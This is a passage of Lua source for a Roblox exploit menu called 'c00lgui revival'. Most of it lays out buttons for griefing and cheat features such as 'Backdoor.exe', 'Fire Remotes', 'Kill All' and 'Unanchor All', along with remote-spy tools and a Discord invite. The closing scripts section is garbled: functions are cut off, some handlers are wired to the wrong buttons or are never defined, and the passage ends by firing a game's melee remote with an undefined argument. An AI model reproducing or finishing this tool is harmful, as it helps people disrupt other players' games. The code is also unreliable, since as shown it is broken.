pgname.BorderColor3 = Color3.fromRGB(255, 0, 0)
pgname.BorderSizePixel = 3
pgname.LayoutOrder = 3
pgname.Position = UDim2.new(-0.00333332852, 0, 0.86601305, 0)
pgname.Size = UDim2.new(0, 300, 0, 40)
pgname.ZIndex = 3
pgname.Font = Enum.Font.SourceSansBold
pgname.Text = "Page 1"
pgname.TextColor3 = Color3.fromRGB(255, 255, 255)
pgname.TextSize = 19.000
page3.Name = "page3"
page3.Parent = main
page3.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
page3.BorderColor3 = Color3.fromRGB(255, 0, 0)
page3.BorderSizePixel = 3
page3.Position = UDim2.new(0, 0, 0.182500005, 0)
page3.Size = UDim2.new(0, 298, 0, 306)
page3.Visible = false
guir.Name = "guir"
guir.Parent = page3
guir.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
guir.BorderColor3 = Color3.fromRGB(255, 0, 0)
guir.BorderSizePixel = 3
guir.Size = UDim2.new(0, 149, 0, 306)
sectitle_3.Name = "sectitle"
sectitle_3.Parent = guir
sectitle_3.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
sectitle_3.BorderColor3 = Color3.fromRGB(255, 0, 0)
sectitle_3.BorderSizePixel = 3
sectitle_3.Size = UDim2.new(0, 149, 0, 30)
sectitle_3.Font = Enum.Font.SourceSansBold
sectitle_3.Text = "Guis and Remotes"
sectitle_3.TextColor3 = Color3.fromRGB(255, 255, 255)
sectitle_3.TextSize = 14.000
button_25.Name = "button"
button_25.Parent = guir
button_25.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
button_25.BorderColor3 = Color3.fromRGB(255, 0, 0)
button_25.BorderSizePixel = 3
button_25.Position = UDim2.new(0, 0, 0.0980392173, 0)
button_25.Size = UDim2.new(0, 71, 0, 25)
button_25.Font = Enum.Font.SourceSans
button_25.Text = "T0PK3K"
button_25.TextColor3 = Color3.fromRGB(255, 255, 255)
button_25.TextSize = 14.000
button_26.Name = "button"
button_26.Parent = guir
button_26.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
button_26.BorderColor3 = Color3.fromRGB(255, 0, 0)
button_26.BorderSizePixel = 3
button_26.Position = UDim2.new(0.523489952, 0, 0.0980392173, 0)
button_26.Size = UDim2.new(0, 71, 0, 25)
button_26.Font = Enum.Font.SourceSans
button_26.Text = "Admin Panel"
button_26.TextColor3 = Color3.fromRGB(255, 255, 255)
button_26.TextSize = 14.000
button_27.Name = "button"
button_27.Parent = guir
button_27.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
button_27.BorderColor3 = Color3.fromRGB(255, 0, 0)
button_27.BorderSizePixel = 3
button_27.Position = UDim2.new(0, 0, 0.179738566, 0)
button_27.Size = UDim2.new(0, 71, 0, 25)
button_27.Font = Enum.Font.SourceSans
button_27.Text = "Project Soviet"
button_27.TextColor3 = Color3.fromRGB(255, 255, 255)
button_27.TextSize = 14.000
button_28.Name = "button"
button_28.Parent = guir
button_28.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
button_28.BorderColor3 = Color3.fromRGB(255, 0, 0)
button_28.BorderSizePixel = 3
button_28.Position = UDim2.new(0.523489952, 0, 0.179738566, 0)
button_28.Size = UDim2.new(0, 71, 0, 25)
button_28.Font = Enum.Font.SourceSans
button_28.Text = "Harked"
button_28.TextColor3 = Color3.fromRGB(255, 255, 255)
button_28.TextSize = 14.000
button_29.Name = "button"
button_29.Parent = guir
button_29.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
button_29.BorderColor3 = Color3.fromRGB(255, 0, 0)
button_29.BorderSizePixel = 3
button_29.Position = UDim2.new(0.523489952, 0, 0.343137264, 0)
button_29.Size = UDim2.new(0, 71, 0, 25)
button_29.Font = Enum.Font.SourceSans
button_29.Text = "Fire Remotes"
button_29.TextColor3 = Color3.fromRGB(255, 255, 255)
button_29.TextSize = 14.000
button_30.Name = "button"
button_30.Parent = guir
button_30.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
button_30.BorderColor3 = Color3.fromRGB(255, 0, 0)
button_30.BorderSizePixel = 3
button_30.Position = UDim2.new(0, 0, 0.343137264, 0)
button_30.Size = UDim2.new(0, 71, 0, 25)
button_30.Font = Enum.Font.SourceSans
button_30.Text = "Comet"
button_30.TextColor3 = Color3.fromRGB(255, 255, 255)
button_30.TextSize = 14.000
button_31.Name = "button"
button_31.Parent = guir
button_31.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
button_31.BorderColor3 = Color3.fromRGB(255, 0, 0)
button_31.BorderSizePixel = 3
button_31.Position = UDim2.new(0.523489952, 0, 0.261437923, 0)
button_31.Size = UDim2.new(0, 71, 0, 25)
button_31.Font = Enum.Font.SourceSans
button_31.Text = "SimpleSpy"
button_31.TextColor3 = Color3.fromRGB(255, 255, 255)
button_31.TextSize = 14.000
button_32.Name = "button"
button_32.Parent = guir
button_32.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
button_32.BorderColor3 = Color3.fromRGB(255, 0, 0)
button_32.BorderSizePixel = 3
button_32.Position = UDim2.new(0, 0, 0.261437923, 0)
button_32.Size = UDim2.new(0, 71, 0, 25)
button_32.Font = Enum.Font.SourceSans
button_32.Text = "FraktureSS"
button_32.TextColor3 = Color3.fromRGB(255, 255, 255)
button_32.TextSize = 14.000
button_33.Name = "button"
button_33.Parent = guir
button_33.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
button_33.BorderColor3 = Color3.fromRGB(255, 0, 0)
button_33.BorderSizePixel = 3
button_33.Position = UDim2.new(0, 0, 0.424836606, 0)
button_33.Size = UDim2.new(0, 71, 0, 25)
button_33.Font = Enum.Font.SourceSans
button_33.Text = "ReplicationUI"
button_33.TextColor3 = Color3.fromRGB(255, 255, 255)
button_33.TextSize = 14.000
button_34.Name = "button"
button_34.Parent = guir
button_34.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
button_34.BorderColor3 = Color3.fromRGB(255, 0, 0)
button_34.BorderSizePixel = 3
button_34.Position = UDim2.new(0.523489952, 0, 0.424836606, 0)
button_34.Size = UDim2.new(0, 71, 0, 25)
button_34.Font = Enum.Font.SourceSans
button_34.Text = "Backdoor.exe"
button_34.TextColor3 = Color3.fromRGB(255, 255, 255)
button_34.TextSize = 14.000
misc.Name = "misc"
misc.Parent = page3
misc.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
misc.BorderColor3 = Color3.fromRGB(255, 0, 0)
misc.BorderSizePixel = 3
misc.Position = UDim2.new(0.5, 0, 0, 0)
misc.Size = UDim2.new(0, 149, 0, 306)
sectitle_4.Name = "sectitle"
sectitle_4.Parent = misc
sectitle_4.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
sectitle_4.BorderColor3 = Color3.fromRGB(255, 0, 0)
sectitle_4.BorderSizePixel = 3
sectitle_4.Size = UDim2.new(0, 149, 0, 30)
sectitle_4.Font = Enum.Font.SourceSansBold
sectitle_4.Text = "Misc."
sectitle_4.TextColor3 = Color3.fromRGB(255, 255, 255)
sectitle_4.TextSize = 14.000
button_35.Name = "button"
button_35.Parent = misc
button_35.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
button_35.BorderColor3 = Color3.fromRGB(255, 0, 0)
button_35.BorderSizePixel = 3
button_35.Position = UDim2.new(0, 0, 0.0980392173, 0)
button_35.Size = UDim2.new(0, 71, 0, 25)
button_35.Font = Enum.Font.SourceSans
button_35.Text = "Punch Tool"
button_35.TextColor3 = Color3.fromRGB(255, 255, 255)
button_35.TextSize = 14.000
button_36.Name = "button"
button_36.Parent = misc
button_36.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
button_36.BorderColor3 = Color3.fromRGB(255, 0, 0)
button_36.BorderSizePixel = 3
button_36.Position = UDim2.new(0.523489952, 0, 0.0980392173, 0)
button_36.Size = UDim2.new(0, 71, 0, 25)
button_36.Font = Enum.Font.SourceSans
button_36.Text = "Classic Btools"
button_36.TextColor3 = Color3.fromRGB(255, 255, 255)
button_36.TextSize = 14.000
button_37.Name = "button"
button_37.Parent = misc
button_37.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
button_37.BorderColor3 = Color3.fromRGB(255, 0, 0)
button_37.BorderSizePixel = 3
button_37.Position = UDim2.new(0, 0, 0.179738566, 0)
button_37.Size = UDim2.new(0, 71, 0, 25)
button_37.Font = Enum.Font.SourceSans
button_37.Text = "F3X (Client)"
button_37.TextColor3 = Color3.fromRGB(255, 255, 255)
button_37.TextSize = 14.000
button_38.Name = "button"
button_38.Parent = misc
button_38.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
button_38.BorderColor3 = Color3.fromRGB(255, 0, 0)
button_38.BorderSizePixel = 3
button_38.Position = UDim2.new(0.523489952, 0, 0.179738566, 0)
button_38.Size = UDim2.new(0, 71, 0, 25)
button_38.Font = Enum.Font.SourceSans
button_38.Text = "commit oof"
button_38.TextColor3 = Color3.fromRGB(255, 255, 255)
button_38.TextSize = 14.000
button_39.Name = "button"
button_39.Parent = misc
button_39.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
button_39.BorderColor3 = Color3.fromRGB(255, 0, 0)
button_39.BorderSizePixel = 3
button_39.Position = UDim2.new(0, 0, 0.261437923, 0)
button_39.Size = UDim2.new(0, 71, 0, 25)
button_39.Font = Enum.Font.SourceSans
button_39.Text = "Destroy GUI"
button_39.TextColor3 = Color3.fromRGB(255, 255, 255)
button_39.TextSize = 14.000
button_40.Name = "button"
button_40.Parent = misc
button_40.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
button_40.BorderColor3 = Color3.fromRGB(255, 0, 0)
button_40.BorderSizePixel = 3
button_40.Position = UDim2.new(0.523489952, 0, 0.261437923, 0)
button_40.Size = UDim2.new(0, 71, 0, 25)
button_40.Font = Enum.Font.SourceSans
button_40.Text = "Dex Explorer"
button_40.TextColor3 = Color3.fromRGB(255, 255, 255)
button_40.TextSize = 14.000
button_41.Name = "button"
button_41.Parent = misc
button_41.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
button_41.BorderColor3 = Color3.fromRGB(255, 0, 0)
button_41.BorderSizePixel = 3
button_41.Position = UDim2.new(0, 0, 0.343137264, 0)
button_41.Size = UDim2.new(0, 71, 0, 25)
button_41.Font = Enum.Font.SourceSans
button_41.Text = "Sword Tool"
button_41.TextColor3 = Color3.fromRGB(255, 255, 255)
button_41.TextSize = 14.000
button_42.Name = "button"
button_42.Parent = misc
button_42.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
button_42.BorderColor3 = Color3.fromRGB(255, 0, 0)
button_42.BorderSizePixel = 3
button_42.Position = UDim2.new(0.523489952, 0, 0.343137264, 0)
button_42.Size = UDim2.new(0, 71, 0, 25)
button_42.Font = Enum.Font.SourceSans
button_42.Text = "Discord Invite"
button_42.TextColor3 = Color3.fromRGB(255, 255, 255)
button_42.TextSize = 14.000
pgname_2.Name = "pgname"
pgname_2.Parent = page3
pgname_2.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
pgname_2.BorderColor3 = Color3.fromRGB(255, 0, 0)
pgname_2.BorderSizePixel = 3
pgname_2.LayoutOrder = 3
pgname_2.Position = UDim2.new(-0.00333332852, 0, 0.86601305, 0)
pgname_2.Size = UDim2.new(0, 300, 0, 40)
pgname_2.ZIndex = 3
pgname_2.Font = Enum.Font.SourceSansBold
pgname_2.Text = "Page 3"
pgname_2.TextColor3 = Color3.fromRGB(255, 255, 255)
pgname_2.TextSize = 19.000
page2.Name = "page2"
page2.Parent = main
page2.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
page2.BorderColor3 = Color3.fromRGB(255, 0, 0)
page2.BorderSizePixel = 3
page2.Position = UDim2.new(0, 0, 0.182500005, 0)
page2.Size = UDim2.new(0, 298, 0, 306)
page2.Visible = false
fds.Name = "fds"
fds.Parent = page2
fds.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
fds.BorderColor3 = Color3.fromRGB(255, 0, 0)
fds.BorderSizePixel = 3
fds.Size = UDim2.new(0, 149, 0, 306)
sectitle_5.Name = "sectitle"
sectitle_5.Parent = fds
sectitle_5.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
sectitle_5.BorderColor3 = Color3.fromRGB(255, 0, 0)
sectitle_5.BorderSizePixel = 3
sectitle_5.Size = UDim2.new(0, 149, 0, 30)
sectitle_5.Font = Enum.Font.SourceSansBold
sectitle_5.Text = "Client-Sided Scripts (NOBODY SEES THEM)"
sectitle_5.TextColor3 = Color3.fromRGB(255, 255, 255)
sectitle_5.TextSize = 14.000
sectitle_5.TextWrapped = true
button_43.Name = "button"
button_43.Parent = fds
button_43.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
button_43.BorderColor3 = Color3.fromRGB(255, 0, 0)
button_43.BorderSizePixel = 3
button_43.Position = UDim2.new(0, 0, 0.0980392173, 0)
button_43.Size = UDim2.new(0, 71, 0, 25)
button_43.Font = Enum.Font.SourceSans
button_43.Text = "Play Music"
button_43.TextColor3 = Color3.fromRGB(255, 255, 255)
button_43.TextSize = 14.000
button_44.Name = "button"
button_44.Parent = fds
button_44.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
button_44.BorderColor3 = Color3.fromRGB(255, 0, 0)
button_44.BorderSizePixel = 3
button_44.Position = UDim2.new(0.523489952, 0, 0.0980392173, 0)
button_44.Size = UDim2.new(0, 71, 0, 25)
button_44.Font = Enum.Font.SourceSans
button_44.Text = "Disco Fog"
button_44.TextColor3 = Color3.fromRGB(255, 255, 255)
button_44.TextSize = 14.000
button_45.Name = "button"
button_45.Parent = fds
button_45.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
button_45.BorderColor3 = Color3.fromRGB(255, 0, 0)
button_45.BorderSizePixel = 3
button_45.Position = UDim2.new(0, 0, 0.179738566, 0)
button_45.Size = UDim2.new(0, 71, 0, 25)
button_45.Font = Enum.Font.SourceSans
button_45.Text = "c00lify"
button_45.TextColor3 = Color3.fromRGB(255, 255, 255)
button_45.TextSize = 14.000
button_46.Name = "button"
button_46.Parent = fds
button_46.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
button_46.BorderColor3 = Color3.fromRGB(255, 0, 0)
button_46.BorderSizePixel = 3
button_46.Position = UDim2.new(0.523489952, 0, 0.179738566, 0)
button_46.Size = UDim2.new(0, 71, 0, 25)
button_46.Font = Enum.Font.SourceSans
button_46.Text = "MLG Particles"
button_46.TextColor3 = Color3.fromRGB(255, 255, 255)
button_46.TextSize = 14.000
btools.Name = "btools"
btools.Parent = page2
btools.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
btools.BorderColor3 = Color3.fromRGB(255, 0, 0)
btools.BorderSizePixel = 3
btools.Position = UDim2.new(0.5, 0, 0, 0)
btools.Size = UDim2.new(0, 149, 0, 306)
sectitle_6.Name = "sectitle"
sectitle_6.Parent = btools
sectitle_6.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
sectitle_6.BorderColor3 = Color3.fromRGB(255, 0, 0)
sectitle_6.BorderSizePixel = 3
sectitle_6.Size = UDim2.new(0, 149, 0, 30)
sectitle_6.Font = Enum.Font.SourceSansBold
sectitle_6.Text = "F3X Scripts"
sectitle_6.TextColor3 = Color3.fromRGB(255, 255, 255)
sectitle_6.TextSize = 14.000
button_47.Name = "button"
button_47.Parent = btools
button_47.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
button_47.BorderColor3 = Color3.fromRGB(255, 0, 0)
button_47.BorderSizePixel = 3
button_47.Position = UDim2.new(0, 0, 0.0980392173, 0)
button_47.Size = UDim2.new(0, 71, 0, 25)
button_47.Font = Enum.Font.SourceSans
button_47.Text = "Set Skybox"
button_47.TextColor3 = Color3.fromRGB(255, 255, 255)
button_47.TextSize = 14.000
button_48.Name = "button"
button_48.Parent = btools
button_48.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
button_48.BorderColor3 = Color3.fromRGB(255, 0, 0)
button_48.BorderSizePixel = 3
button_48.Position = UDim2.new(0.523489952, 0, 0.0980392173, 0)
button_48.Size = UDim2.new(0, 71, 0, 25)
button_48.Font = Enum.Font.SourceSans
button_48.Text = "Set Decal"
button_48.TextColor3 = Color3.fromRGB(255, 255, 255)
button_48.TextSize = 14.000
button_49.Name = "button"
button_49.Parent = btools
button_49.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
button_49.BorderColor3 = Color3.fromRGB(255, 0, 0)
button_49.BorderSizePixel = 3
button_49.Position = UDim2.new(0, 0, 0.179738566, 0)
button_49.Size = UDim2.new(0, 71, 0, 25)
button_49.Font = Enum.Font.SourceSans
button_49.Text = "Fire Parts"
button_49.TextColor3 = Color3.fromRGB(255, 255, 255)
button_49.TextSize = 14.000
button_50.Name = "button"
button_50.Parent = btools
button_50.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
button_50.BorderColor3 = Color3.fromRGB(255, 0, 0)
button_50.BorderSizePixel = 3
button_50.Position = UDim2.new(0.523489952, 0, 0.179738566, 0)
button_50.Size = UDim2.new(0, 71, 0, 25)
button_50.Font = Enum.Font.SourceSans
button_50.Text = "Fire All"
button_50.TextColor3 = Color3.fromRGB(255, 255, 255)
button_50.TextSize = 14.000
button_51.Name = "button"
button_51.Parent = btools
button_51.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
button_51.BorderColor3 = Color3.fromRGB(255, 0, 0)
button_51.BorderSizePixel = 3
button_51.Position = UDim2.new(0, 0, 0.261437923, 0)
button_51.Size = UDim2.new(0, 71, 0, 25)
button_51.Font = Enum.Font.SourceSans
button_51.Text = "Raining Toad"
button_51.TextColor3 = Color3.fromRGB(255, 255, 255)
button_51.TextSize = 14.000
button_52.Name = "button"
button_52.Parent = btools
button_52.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
button_52.BorderColor3 = Color3.fromRGB(255, 0, 0)
button_52.BorderSizePixel = 3
button_52.Position = UDim2.new(0.523489952, 0, 0.261437923, 0)
button_52.Size = UDim2.new(0, 71, 0, 25)
button_52.Font = Enum.Font.SourceSans
button_52.Text = "Kill All"
button_52.TextColor3 = Color3.fromRGB(255, 255, 255)
button_52.TextSize = 14.000
button_53.Name = "button"
button_53.Parent = btools
button_53.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
button_53.BorderColor3 = Color3.fromRGB(255, 0, 0)
button_53.BorderSizePixel = 3
button_53.Position = UDim2.new(0, 0, 0.343137264, 0)
button_53.Size = UDim2.new(0, 71, 0, 25)
button_53.Font = Enum.Font.SourceSans
button_53.Text = "Set Baseplate"
button_53.TextColor3 = Color3.fromRGB(255, 255, 255)
button_53.TextSize = 14.000
button_54.Name = "button"
button_54.Parent = btools
button_54.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
button_54.BorderColor3 = Color3.fromRGB(255, 0, 0)
button_54.BorderSizePixel = 3
button_54.Position = UDim2.new(0.523489952, 0, 0.343137264, 0)
button_54.Size = UDim2.new(0, 71, 0, 25)
button_54.Font = Enum.Font.SourceSans
button_54.Text = "Bighead All"
button_54.TextColor3 = Color3.fromRGB(255, 255, 255)
button_54.TextSize = 14.000
button_55.Name = "button"
button_55.Parent = btools
button_55.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
button_55.BorderColor3 = Color3.fromRGB(255, 0, 0)
button_55.BorderSizePixel = 3
button_55.Position = UDim2.new(0, 0, 0.424836606, 0)
button_55.Size = UDim2.new(0, 71, 0, 25)
button_55.Font = Enum.Font.SourceSans
button_55.Text = "Unanchor All"
button_55.TextColor3 = Color3.fromRGB(255, 255, 255)
button_55.TextSize = 14.000
button_56.Name = "button"
button_56.Parent = btools
button_56.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
button_56.BorderColor3 = Color3.fromRGB(255, 0, 0)
button_56.BorderSizePixel = 3
button_56.Position = UDim2.new(0.523489952, 0, 0.424836606, 0)
button_56.Size = UDim2.new(0, 71, 0, 25)
button_56.Font = Enum.Font.SourceSans
button_56.Text = "Disco All"
button_56.TextColor3 = Color3.fromRGB(255, 255, 255)
button_56.TextSize = 14.000
button_57.Name = "button"
button_57.Parent = btools
button_57.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
button_57.BorderColor3 = Color3.fromRGB(255, 0, 0)
button_57.BorderSizePixel = 3
button_57.Position = UDim2.new(0, 0, 0.506535947, 0)
button_57.Size = UDim2.new(0, 71, 0, 25)
button_57.ZIndex = 2
button_57.Font = Enum.Font.SourceSans
button_57.Text = "Raining Spongebob"
button_57.TextColor3 = Color3.fromRGB(255, 255, 255)
button_57.TextSize = 14.000
pgname_3.Name = "pgname"
pgname_3.Parent = page2
pgname_3.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
pgname_3.BorderColor3 = Color3.fromRGB(255, 0, 0)
pgname_3.BorderSizePixel = 3
pgname_3.LayoutOrder = 3
pgname_3.Position = UDim2.new(-0.00333332852, 0, 0.86601305, 0)
pgname_3.Size = UDim2.new(0, 300, 0, 40)
pgname_3.ZIndex = 3
pgname_3.Font = Enum.Font.SourceSansBold
pgname_3.Text = "Page 2"
pgname_3.TextColor3 = Color3.fromRGB(255, 255, 255)
pgname_3.TextSize = 19.000
page4.Name = "page4"
page4.Parent = main
page4.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
page4.BorderColor3 = Color3.fromRGB(255, 0, 0)
page4.BorderSizePixel = 3
page4.Position = UDim2.new(0, 0, 0.182500005, 0)
page4.Size = UDim2.new(0, 298, 0, 306)
page4.Visible = false
pres.Name = "pres"
pres.Parent = page4
pres.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
pres.BorderColor3 = Color3.fromRGB(255, 0, 0)
pres.BorderSizePixel = 3
pres.Size = UDim2.new(0, 149, 0, 306)
sectitle_7.Name = "sectitle"
sectitle_7.Parent = pres
sectitle_7.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
sectitle_7.BorderColor3 = Color3.fromRGB(255, 0, 0)
sectitle_7.BorderSizePixel = 3
sectitle_7.Size = UDim2.new(0, 149, 0, 30)
sectitle_7.Font = Enum.Font.SourceSansBold
sectitle_7.Text = "Skybox/Decal Presets    (F3X)"
sectitle_7.TextColor3 = Color3.fromRGB(255, 255, 255)
sectitle_7.TextSize = 14.000
sectitle_7.TextWrapped = true
button_58.Name = "button"
button_58.Parent = pres
button_58.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
button_58.BorderColor3 = Color3.fromRGB(255, 0, 0)
button_58.BorderSizePixel = 3
button_58.Position = UDim2.new(0, 0, 0.0980392173, 0)
button_58.Size = UDim2.new(0, 71, 0, 25)
button_58.Font = Enum.Font.SourceSans
button_58.Text = "c00lkidd"
button_58.TextColor3 = Color3.fromRGB(255, 255, 255)
button_58.TextSize = 14.000
button_59.Name = "button"
button_59.Parent = pres
button_59.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
button_59.BorderColor3 = Color3.fromRGB(255, 0, 0)
button_59.BorderSizePixel = 3
button_59.Position = UDim2.new(0.523489952, 0, 0.0980392173, 0)
button_59.Size = UDim2.new(0, 71, 0, 25)
button_59.Font = Enum.Font.SourceSans
button_59.Text = "1x3x5x6"
button_59.TextColor3 = Color3.fromRGB(255, 255, 255)
button_59.TextSize = 14.000
button_60.Name = "button"
button_60.Parent = pres
button_60.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
button_60.BorderColor3 = Color3.fromRGB(255, 0, 0)
button_60.BorderSizePixel = 3
button_60.Position = UDim2.new(0, 0, 0.179738566, 0)
button_60.Size = UDim2.new(0, 71, 0, 25)
button_60.Font = Enum.Font.SourceSans
button_60.Text = "skrubl0rdz"
button_60.TextColor3 = Color3.fromRGB(255, 255, 255)
button_60.TextSize = 14.000
button_61.Name = "button"
button_61.Parent = pres
button_61.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
button_61.BorderColor3 = Color3.fromRGB(255, 0, 0)
button_61.BorderSizePixel = 3
button_61.Position = UDim2.new(0.523489952, 0, 0.179738566, 0)
button_61.Size = UDim2.new(0, 71, 0, 25)
button_61.Font = Enum.Font.SourceSans
button_61.Text = "k00pkidd"
button_61.TextColor3 = Color3.fromRGB(255, 255, 255)
button_61.TextSize = 14.000
button_62.Name = "button"
button_62.Parent = pres
button_62.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
button_62.BorderColor3 = Color3.fromRGB(255, 0, 0)
button_62.BorderSizePixel = 3
button_62.Position = UDim2.new(0.523489952, 0, 0.261437923, 0)
button_62.Size = UDim2.new(0, 71, 0, 25)
button_62.Font = Enum.Font.SourceSans
button_62.Text = "007n7"
button_62.TextColor3 = Color3.fromRGB(255, 255, 255)
button_62.TextSize = 14.000
button_63.Name = "button"
button_63.Parent = pres
button_63.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
button_63.BorderColor3 = Color3.fromRGB(255, 0, 0)
button_63.BorderSizePixel = 3
button_63.Position = UDim2.new(0, 0, 0.261437923, 0)
button_63.Size = UDim2.new(0, 71, 0, 25)
button_63.Font = Enum.Font.SourceSans
button_63.Text = "cK Logo"
button_63.TextColor3 = Color3.fromRGB(255, 255, 255)
button_63.TextSize = 14.000
creds.Name = "creds"
creds.Parent = page4
creds.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
creds.BorderColor3 = Color3.fromRGB(255, 0, 0)
creds.BorderSizePixel = 3
creds.Position = UDim2.new(0.5, 0, 0, 0)
creds.Size = UDim2.new(0, 149, 0, 306)
credits.Name = "credits"
credits.Parent = creds
credits.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
credits.BorderColor3 = Color3.fromRGB(255, 0, 0)
credits.BorderSizePixel = 3
credits.Size = UDim2.new(0, 149, 0, 265)
credits.Font = Enum.Font.SourceSans
credits.Text = "Thank you for using c00lgui revival! \nMore updates coming soon! \
n.gg/KkhpkGJdCp "
credits.TextColor3 = Color3.fromRGB(255, 255, 255)
credits.TextSize = 14.000
credits.TextWrapped = true
pgname_4.Name = "pgname"
pgname_4.Parent = page4
pgname_4.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
pgname_4.BorderColor3 = Color3.fromRGB(255, 0, 0)
pgname_4.BorderSizePixel = 3
pgname_4.LayoutOrder = 3
pgname_4.Position = UDim2.new(-0.00333332852, 0, 0.86601305, 0)
pgname_4.Size = UDim2.new(0, 300, 0, 40)
pgname_4.ZIndex = 5
pgname_4.Font = Enum.Font.SourceSansBold
pgname_4.Text = "Page 4"
pgname_4.TextColor3 = Color3.fromRGB(255, 255, 255)
pgname_4.TextSize = 19.000
-- Scripts:
     close.MouseButton1Down:connect(function()
     if close.Text == "Close" then
     main.Visible = false
     settings.Visible = false
     close.Text = "Open"
     elseif close.Text == "Open" then
     main.Visible = true
     settings.Visible = true
     close.Text = "Close"
     end
end)
end
coroutine.wrap(NYNRIT_fake_script)()
local function VGZZVRN_fake_script() -- fps.fpscheck
      local script = Instance.new('LocalScript', fps)
     RunService.RenderStepped:Connect(function(frame)
            label.Text = "FPS: "..(math.round(1/frame))
     end)
end
coroutine.wrap(VGZZVRN_fake_script)()
local function IYAH_fake_script() -- size.sizecheck
      local script = Instance.new('LocalScript', size)
      while true do
            label.Text = "Server Size:
"..tostring(game:GetService('Players').NumPlayers)
            wait(.5)
      end
end
coroutine.wrap(IYAH_fake_script)()
local function PDUUVHM_fake_script() -- time.timecheck
      local script = Instance.new('LocalScript', time)
      while true do
            label.Text = "Server Time:
"..tostring(game:GetService('Workspace').DistributedGameTime)
            wait(.5)
      end
end
coroutine.wrap(PDUUVHM_fake_script)()
local function UJXVVWH_fake_script() -- checkrfe.rfecheck
      local script = Instance.new('LocalScript', checkrfe)
label = script.Parent
     sbutton.MouseButton1Down:connect(function()
           if sbutton.Text == "<" then
                 sbutton.Visible = true
                 sbutton.Text = ">"
                 addon.Position = UDim2.new(-0.00299600535, 3, 0.294712126, 0)
           else
                 sbutton.Visible = true
                 sbutton.Text = "<"
                   addon.Position = UDim2.new(0.280000001, 3, 0.294999987, 0)
             end
      end)
end
coroutine.wrap(BVMU_fake_script)()
local function YRGW_fake_script() -- left.flipleft
      local script = Instance.new('LocalScript', left)
     right.MouseButton1Down:connect(function()
           if three.Visible == true then
           one.Visible = false
           two.Visible = true
           three.Visible = false
           four.Visible = false
           elseif four.Visible == true then
           one.Visible = false
           two.Visible = false
           three.Visible = true
           four.Visible = false
           elseif one.Visible == true then
           one.Visible = false
           two.Visible = false
           three.Visible = false
           four.Visible = true
           elseif two.Visible == true then
           one.Visible = true
           two.Visible = false
           three.Visible = false
           four.Visible = false
           end
     end)
end
coroutine.wrap(YRGW_fake_script)()
local function UBUJB_fake_script() -- right.flipright
      local script = Instance.new('LocalScript', right)
     right.MouseButton1Down:connect(function()
           if one.Visible == true then
           one.Visible = false
           two.Visible = true
           three.Visible = false
           four.Visible = false
           elseif two.Visible == true then
           one.Visible = false
           two.Visible = false
           three.Visible = true
             four.Visible = false
             elseif three.Visible == true then
             one.Visible = false
             two.Visible = false
             three.Visible = false
             four.Visible = true
             elseif four.Visible == true then
             one.Visible = true
             two.Visible = false
             three.Visible = false
             four.Visible = false
             end
      end)
end
coroutine.wrap(UBUJB_fake_script)()
local function GQMYFIM_fake_script() -- button.LocalScript
      local script = Instance.new('LocalScript', button)
      button.MouseButton1Down:connect(function()
            local duration = 999999 -- integer only, no decimals
            if game:GetService("SoundService").RespectFilteringEnabled then return
end
local sounds = {}
      button.MouseButton1Down:connect(function()
      --[[
            Thomas The Dank Engine:
                                               By: KrystalTeam
                                               Features: Being a dank engine that
kill people
                                               Version: 1.0.0.2
      --]]
           local p = game.Players.LocalPlayer.Character
           local weld = Instance.new("Weld",p.Torso)
           weld.Part0 = p.Torso
           spawn(function()
                 while p.Humanoid.Health ~= 0 do
                       p.Humanoid.WalkSpeed = 60;
                       wait();
                    end
             end)
     game.ReplicatedStorage.meleeEvent:FireServer(plr)
